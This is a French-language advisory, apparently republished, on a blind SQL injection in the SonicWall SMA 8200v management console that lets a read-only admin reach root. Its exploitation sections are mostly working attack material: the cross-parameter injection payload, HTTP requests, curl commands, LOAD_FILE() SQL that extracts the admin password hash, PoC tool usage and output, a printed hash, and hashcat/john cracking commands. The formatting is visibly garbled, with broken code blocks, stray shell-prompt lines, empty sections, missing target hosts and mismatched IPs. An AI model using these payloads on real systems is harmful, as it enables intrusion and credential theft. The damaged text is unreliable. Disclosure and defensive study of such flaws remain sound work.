SonicWall SMA 8200v : Élévation de privilèges via injection SQL aveugle inter-paramètres

Firmware : 12.5.0-02283 (correctif de plateforme sur base 12.5.0-02002)

Avis SonicWall

1. Résumé

Une vulnérabilité d'injection SQL aveugle post-authentification dans la console de gestion SonicWall SMA 8200v (port 8443) permet à tout administrateur authentifié — y compris les comptes en lecture seule à faibles privilèges — d'extraire le hash SHA-512 du mot de passe de l'administrateur principal à partir du fichier de configuration de l'appliance. Étant donné que SonicWall utilise les mêmes identifiants pour l'administrateur de la console de gestion et le compte root du système d'exploitation, le craquage de ce hash permet un accès root complet à l'appliance.

Classification : Élévation de privilèges (administrateur à faibles privilèges vers Root) CVSS 3.1 : 7,2 (Élevé) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Complexité de l'attaque : Faible (le PoC automatisé termine l'extraction en ~60-90 minutes) Prérequis : Tout identifiant valide de console de gestion (y compris les comptes en lecture seule)

2. Composants concernés

3. Détails de la vulnérabilité

3.1 Cause racine : assainissement incomplet des entrées dans safeParam()

La console de gestion construit les requêtes SQL pour le tableau de bord des utilisateurs actifs à l'aide d'une méthode utilitaire safeParam() dans la classe com.aventail.mgmt.sql.Sql. Cette méthode échappe les guillemets simples (') et les guillemets doubles (") en les doublant, mais elle n'échappe pas les caractères antislash (\).

Dans MySQL/MariaDB, un antislash est le caractère d'échappement par défaut à l'intérieur des littéraux de chaîne. La séquence \' amène la base de données à interpréter le guillemet simple comme un caractère littéral plutôt que comme un terminateur de chaîne. Cela signifie qu'un antislash à la fin d'une valeur de paramètre échappera le guillemet fermant que l'application ajoute, ce qui étend le littéral de chaîne SQL dans la syntaxe adjacente.

Faille d'assainissement :``` Input: test
safeParam output: test\ (backslash NOT escaped) In SQL: ... rt.name='test') AND (ct.name='...' ^^ backslash escapes the closing quote

Le `'` de fermeture après `test\` est consommé comme un caractère de guillemet littéral dans la chaîne, de sorte que le littéral de chaîne SQL s'étend à travers la limite `) AND (ct.name='` et dans la valeur du paramètre suivant, où du SQL contrôlé par l'attaquant peut être injecté.

### 3.2 Mécanique d'injection : technique inter-paramètres

Le point de terminaison `activeUsers.action` accepte plusieurs paramètres de filtre qui sont interpolés dans une seule clause SQL WHERE. Les paramètres concernés sont `realmFilter` et `communityFilter`, qui apparaissent dans une requête structurée approximativement comme suit :```sql
SELECT ... FROM ...
WHERE ...
  AND (rt.name='<realmFilter>')
  AND (ct.name='<communityFilter>')
  ...

Configuration des paramètres d'attaque :

SQL résultant après interpolation :```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')

Décomposition :

1. `rt.name='test\')` — le `\` échappe le `'`, donc la chaîne ne se ferme pas ici
2. `AND (ct.name='` — fait partie de la valeur de la chaîne (texte littéral)
3. La chaîne se ferme finalement au `'` suivant (au début de `communityFilter`)
4. `))` — ferme les deux parenthèses ouvertes de la structure de la clause WHERE
5. `OR (SELECT IF(...))` — injecte la condition d'injection SQL aveugle
6. `-- x` — commente le reste du SQL (`')` et les autres clauses)

### 3.3 Extraction aveugle basée sur le temps

Étant donné que la gestion des erreurs Struts 2 de l'application intercepte les exceptions SQL avec élégance (renvoyant toujours une réponse HTTP 200 avec le même contenu de page, quel que soit le succès ou l'échec de la requête), les méthodes d'extraction basées sur les erreurs et sur UNION ne sont pas viables. L'injection est exploitée à l'aide de la technique aveugle basée sur le temps :

- **Condition VRAIE :** `IF(<condition>, SLEEP(N), 0)` — réponse retardée par la durée de SLEEP multipliée par le nombre de lignes du jeu de résultats
- **Condition FAUSSE :** Pas de SLEEP — réponse renvoyée en ~200-500 ms

La fonction SLEEP s'exécute par ligne lors de l'évaluation de la clause WHERE. Avec une table de surveillance typique contenant 30 à 300+ lignes, même une petite valeur de SLEEP (par exemple, 0,3 s) produit un délai clairement distinguable (10-100 s pour VRAI contre <1 s pour FAUX).

Chaque caractère des données cibles est extrait via une recherche binaire sur la plage ASCII :```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>

Cela nécessite un maximum de 7 requêtes par caractère (log2(128) = 7), soit environ 686 requêtes au total pour un hash SHA-512 de 98 caractères.

4. Chaîne d'exploitation

4.1 Vue d'ensemble```

                     PRIVILEGE ESCALATION CHAIN

============================================================================

[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover

### 4.2 Étape 1 : Authentification

La console de gestion SMA prend en charge deux domaines d’authentification :

| ID du domaine | Nom affiché | Utilisateurs |
|----------|-------------|-------|
| *(vide)* | Console de gestion | Compte administrateur principal uniquement |
| `AMCAuthRealm` / `Local Authentication` | Authentification locale | Comptes administrateur secondaires (readonly, custom) |

L’attaque nécessite uniquement des identifiants valides pour **n’importe quel** compte disposant d’un accès à la console de gestion. Le compte « readonly » — conçu pour un accès en lecture seule sans capacité de modification de la configuration — est suffisant.

L’authentification est effectuée via une authentification basée sur les formulaires J2EE :

1. `GET /console.action` — récupère la page de connexion, extrait le jeton CSRF du champ de formulaire masqué
2. `POST /j_security_check` — soumet `csrfToken`, `j_username`, `j_password` et `realmId`
3. Redirection HTTP 303 en cas de succès, cookie `JSESSIONID` établi

### 4.3 Étape 2 : Injection SQL

Après l’authentification, l’attaquant envoie une requête POST à `/activeUsers.action` avec l’injection inter-paramètres :```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded

realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter

IF(1=1, SLEEP(0.3), 0) inconditionnel vérifie que l'injection est fonctionnelle en observant un délai mesurable dans la réponse HTTP.

4.4 Étape 3 : Lecture arbitraire de fichier avec LOAD_FILE()

La base de données MariaDB s'exécute sous l'utilisateur système DbAdmin (uid=1001, gid=500 aventail). Cet utilisateur de base de données possède ALL PRIVILEGES ON *.* WITH GRANT OPTION, y compris le privilège FILE requis pour LOAD_FILE().

Un constat critique : malgré le paramètre de configuration MariaDB secure_file_priv = NULL (qui bloque les opérations d'écriture INTO OUTFILE et INTO DUMPFILE), la fonction LOAD_FILE() pour la lecture de fichiers reste pleinement opérationnelle. Il s'agit d'un comportement MariaDB documenté mais mal compris — secure_file_priv=NULL restreint les chemins d'écriture de fichiers mais ne désactive pas les lectures de fichiers lorsque l'utilisateur dispose du privilège FILE.

Le fichier de configuration cible /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml appartient à mgmt-server:aventail avec les permissions 664 (rw-rw-r--). Comme l'utilisateur système DbAdmin fait partie du groupe aventail, LOAD_FILE() peut lire ce fichier.

Vérification via injection SQL aveugle :```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable

### 4.5 Étape 4 : Localisation du hash administrateur dans avconfig.xml

Le fichier `avconfig.xml` (~98 Ko) constitue le magasin de configuration principal de l'appliance. Il contient toutes les informations d'identification des utilisateurs au format crypt SHA-512 dans des éléments XML `<password>`. Le hash administrateur principal se trouve dans un bloc `<credentials_item>` près d'un élément `<consoleMode>` unique à la section administrateur.

Plutôt que de s'appuyer sur des décalages d'octets codés en dur (qui casseraient si la configuration au-dessus de la section administrateur changeait), l'extraction utilise des fonctions de chaîne MySQL pour localiser dynamiquement le hash :```sql
SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE(<path>),
    LOCATE('<password>', LOAD_FILE(<path>),
      LOCATE('consoleMode', LOAD_FILE(<path>))
    ) + 10,                    -- skip past '<password>' tag (10 chars)
    120                        -- max SHA-512 crypt length
  ),
  '<',                         -- trim at '</password>' closing tag
  1
)

Logique :

1. LOCATE('consoleMode', file) — trouve le décalage d'octets de la chaîne consoleMode, en s'ancrant sur la section de configuration admin
2. LOCATE('<password>', file, anchor_offset) — trouve la première balise <password> après cet ancrage
3. SUBSTRING(file, tag_offset + 10, 120) — extrait la valeur du hash (en sautant la balise <password> de 10 caractères)
4. SUBSTRING_INDEX(result, '<', 1) — tronque à la balise fermante </password>

Cette approche est indépendante de la position et résistante aux changements de configuration ailleurs dans le fichier. L'expression entière est encodée à l'aide de littéraux hexadécimaux MySQL (0x...) pour éviter les problèmes de guillemets dans le contexte d'injection.

4.6 Étape 5 : Extraction du hash caractère par caractère

Chaque caractère du hash est extrait via une recherche binaire :```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),

, 1)) > , SLEEP(0.3), 0)

La recherche binaire réduit la plage ASCII [0, 127] de moitié à chaque requête :

| Étape | Plage | Test | Résultat |
|------|-------|------|--------|
| 1 | [0, 127] | > 63 ? | VRAI → [64, 127] |
| 2 | [64, 127] | > 95 ? | FAUX → [64, 95] |
| 3 | [64, 95] | > 79 ? | FAUX → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | convergé | Caractère = chr(n) |

Pour le hash admin connu (`$6$WHTK8ybQ$MchVNW...`), l'extraction des 98 caractères nécessite environ 686 requêtes HTTP.

### 4.7 Étape 6 : Cracking du hash

Le hash extrait est au format standard SHA-512 crypt :```
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0

Hashcat

hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O

John the Ripper

john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash

### 4.8 Étape 7 : Compromission totale

L'architecture SonicWall SMA utilise le mot de passe administrateur de la console de gestion comme mot de passe root de l'OS. C'est un choix de conception — lorsque le mot de passe administrateur est défini ou modifié via la console de gestion, il est appliqué à la fois à l'interface web et au compte root Linux sous-jacent. Par conséquent, le craquage du hash administrateur fournit :

- **Console de gestion (port 8443) :** Accès administratif complet à toute la configuration, aux politiques, à la gestion des utilisateurs et à la supervision
- **SSH (port 22) :** Accès shell root au système d'exploitation Debian Linux sous-jacent
- **Console série :** Connexion root pour l'accès physique/hors bande

---

## 5. Facteurs contributifs

Plusieurs décisions architecturales se combinent pour rendre cette vulnérabilité exploitable :

### 5.1 Assainissement SQL incomplet

La méthode `safeParam()` dans `com.aventail.mgmt.sql.Sql` échappe les guillemets mais pas les barres obliques inverses. Il s'agit d'une classe d'injection SQL bien connue — le comportement d'échappement par barre oblique inverse de MySQL est documenté comme une préoccupation de sécurité depuis le début des années 2000. Le correctif est trivial : soit échapper les barres obliques inverses (`\` → `\\`), soit définir le mode SQL `NO_BACKSLASH_ESCAPES`, soit utiliser des requêtes paramétrées.

### 5.2 Utilisateur de base de données sur-privilégié

L'utilisateur MariaDB `DbAdmin` s'exécute avec `ALL PRIVILEGES ON *.* WITH GRANT OPTION`. Cela accorde des capacités bien au-delà de ce dont l'application a besoin, notamment :

- Privilège `FILE` (LOAD_FILE, INTO OUTFILE)
- Privilège `SUPER`
- `GRANT OPTION` (peut créer de nouveaux comptes superutilisateur)

L'application n'a besoin que de SELECT/INSERT/UPDATE/DELETE sur ses propres bases de données. Les privilèges excessifs transforment une injection SQL d'une extraction de données en lecture/écriture arbitraire de fichiers.

### 5.3 Mauvaise configuration de secure_file_priv

Bien que `secure_file_priv = NULL` bloque les opérations d'**écriture** de fichiers (`INTO OUTFILE`, `INTO DUMPFILE`), il ne bloque **pas** les opérations de **lecture** de fichiers (`LOAD_FILE()`). C'est un comportement documenté de MariaDB qui est fréquemment mal compris. Les administrateurs et développeurs supposent souvent que `secure_file_priv = NULL` désactive toutes les E/S de fichiers, mais il ne restreint que le chemin d'écriture.

Pour désactiver complètement `LOAD_FILE()`, le privilège `FILE` doit être révoqué de l'utilisateur de la base de données :```sql
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';

5.4 Permissions des fichiers de configuration sensibles

Le fichier avconfig.xml contenant tous les hachages de mots de passe appartient à mgmt-server:aventail avec le mode 664. Le groupe aventail inclut l'utilisateur OS DbAdmin (sous lequel MariaDB s'exécute). Cela signifie que le processus de base de données peut lire le fichier de configuration principal de l'appliance, y compris toutes les informations d'identification stockées.

Un modèle de permissions plus restrictif (par exemple, mode 600 appartenant à mgmt-server:mgmt-server, ou stockage des hachages dans un fichier de secrets dédié lisible uniquement par l'application de gestion) empêcherait LOAD_FILE() d'accéder aux hachages même avec le privilège FILE.

5.5 Informations d'identification partagées Admin/Root

La décision de conception d'utiliser le même mot de passe pour l'admin de la console de gestion et le compte root de l'OS signifie que l'extraction du hachage admin depuis la couche applicative donne directement accès root au système d'exploitation. Cela élimine toute frontière entre la couche applicative web et le système d'exploitation sous-jacent.

5.6 Le compte en lecture seule dispose d'un accès SQLi complet

Le rôle « readonly » de la console de gestion est conçu pour fournir un accès de surveillance uniquement, sans capacité de modification de la configuration. Cependant, le point de terminaison activeUsers.action traite les paramètres de filtre de manière identique pour tous les utilisateurs authentifiés, quel que soit le rôle. Le compte en lecture seule peut exécuter la même injection SQL que l'admin principal, car la vulnérabilité se situe dans le chemin de récupération des données (liste/filtrage des utilisateurs actifs), et non dans un chemin de modification de la configuration.

6. Preuve de concept

6.1 Outil : sma_admin_hash_poc.py

Un outil d'exploitation entièrement automatisé a été développé et validé contre la cible en production.

Utilisation (compte readonly — preuve d'élévation de privilèges) :```bash python3 sma_admin_hash_poc.py
-t 10.10.185.35
--user readonly
--password <readonly_password>
--realm "Local Authentication"
-o admin.hash
-v

**Phases d’exécution :**

1. **Phase 1 : Authentification** — Se connecte avec les identifiants et le realm spécifiés, obtient JSESSIONID
2. **Phase 2 : Vérification** — Confirme que la SQLi est fonctionnelle (timing SLEEP), que LOAD_FILE peut lire avconfig.xml, et que l’ancre du hash admin est présente
3. **Phase 3 : Extraction** — La recherche binaire extrait le hash SHA-512 complet caractère par caractère
4. **Phase 4 : Sortie** — Écrit le hash au format compatible hashcat et affiche les commandes de craquage

**Sortie observée :**```
[*] Target: 10.10.10.35:8443
[*] User:   readonly
[*] Realm:  Local Authentication

[*] Phase 1: Authenticating to admin console...
[+] Authentication successful

[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml

[*] Phase 3: Extracting admin password hash...
    Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...

6.2 Vérification manuelle via curl

L'injection peut également être vérifiée manuellement sans l'outil PoC :```bash

Authenticate and obtain session cookie

curl -sk -c cookies.txt
"https://:8443/console.action" | grep csrfToken

curl -sk -b cookies.txt -c cookies.txt
-d "csrfToken=&j_username=readonly&j_password=&realmId=Local+Authentication"
"https://:8443/j_security_check"

Baseline request (no injection) — expect ~200ms

time curl -sk -b cookies.txt
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"

Injected request (SLEEP 5 via subquery) — expect 10+ seconds

time curl -sk -b cookies.txt
--data-urlencode "realmFilter=test\"
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x"
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"

### 6.3 Vérification SQL directe via l'interface MySQL CLI

Avec un accès SSH root, l'expression d'extraction SQL peut être vérifiée directement :```sql
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248

-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
    LOCATE('<password>',
      LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
      LOCATE('consoleMode',
        LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
      )
    ) + 10,
    120
  ),
  '<',
  1
) AS admin_hash;

-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0

7. Évaluation de l'impact

7.1 Impact direct

7.2 Scénarios d'attaque

Scénario 1 : Menace interne / Violation du moindre privilège Un administrateur en lecture seule (analyste SOC, auditeur, ingénieur junior) disposant d'un accès de surveillance légitime escalade vers un accès admin/root complet, contournant tous les contrôles d'accès basés sur les rôles.

Scénario 2 : Escalade par compromission d'identifiants Un attaquant qui obtient un identifiant de console de gestion (hameçonnage, bourrage d'identifiants, mots de passe par défaut) peut escalader vers root, quel que soit le niveau de privilège prévu pour le compte compromis.

Scénario 3 : Pivot réseau L'accès root à l'appliance SMA fournit un point d'ancrage persistant à la périphérie du réseau. L'attaquant peut intercepter le trafic VPN, modifier le routage, accéder aux segments réseau internes et extraire tous les identifiants des utilisateurs VPN de la configuration.

8. Recommandations

8.1 Atténuations immédiates

1. Requêtes paramétrées : Remplacer l'interpolation de chaînes dans safeParam() par des instructions préparées / requêtes paramétrées dans toute la couche SQL de la console de gestion. Cela élimine l'injection indépendamment de l'échappement des caractères.

2. Révoquer le privilège FILE : Retirer le privilège FILE de l'utilisateur de base de données DbAdmin : ```sql REVOKE FILE ON . FROM 'DbAdmin'@'localhost'; FLUSH PRIVILEGES;

   root@kitploit:~

3. Restreindre les privilèges de la base de données : Appliquez le principe du moindre privilège à DbAdmin — accordez uniquement SELECT, INSERT, UPDATE, DELETE sur les bases de données spécifiques requises par l'application (monitoring, scheduler, troubleshooting).

4. Restreindre les permissions d'avconfig.xml : Modifiez le propriétaire et les permissions du fichier pour empêcher l'utilisateur de la base de données de lire la configuration : ```bash chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml

   root@kitploit:~

8.2 Améliorations Architecturales

5. Séparer les identifiants administrateur et root : Découpler le mot de passe administrateur de la console de gestion du mot de passe root du système d'exploitation. Utiliser des identifiants distincts avec des mécanismes de changement/rotation indépendants.

6. Accès aux points de terminaison basé sur les rôles : Restreindre le point de terminaison activeUsers.action (ainsi que tous les autres points de terminaison d'interrogation de données) en fonction du rôle de l'utilisateur au niveau de la couche applicative, et non uniquement au niveau de l'interface utilisateur/du menu.

7. Renforcement du mode SQL : Définir NO_BACKSLASH_ESCAPES dans la configuration de MariaDB pour désactiver globalement l'interprétation des échappements par antislash : ```ini [mysqld] sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES

   root@kitploit:~

8. Séparation du stockage des hachages : Stockez les hachages de mots de passe dans un fichier dédié ou une table de base de données qui n'est pas accessible à l'utilisateur général de la base de données de l'application, plutôt que dans le fichier de configuration XML principal.

9. Chronologie

10. Références

• Documentation MariaDB LOAD_FILE : LOAD_FILE() nécessite le privilège FILE ; secure_file_priv restreint SELECT ... INTO mais pas LOAD_FILE()
• Comportement d'échappement des barres obliques inverses MySQL : lorsque NO_BACKSLASH_ESCAPES n'est pas défini, \ est traité comme un caractère d'échappement dans les littéraux de chaîne
• Spécification du crypt SHA-512 : préfixe $6$, rounds configurables (5000 par défaut), sortie de hachage Base64 de 86 caractères
• Mode Hashcat 1800 : sha512crypt ($6$)
• Aide-mémoire OWASP sur la prévention des injections SQL : requêtes paramétrées comme défense principale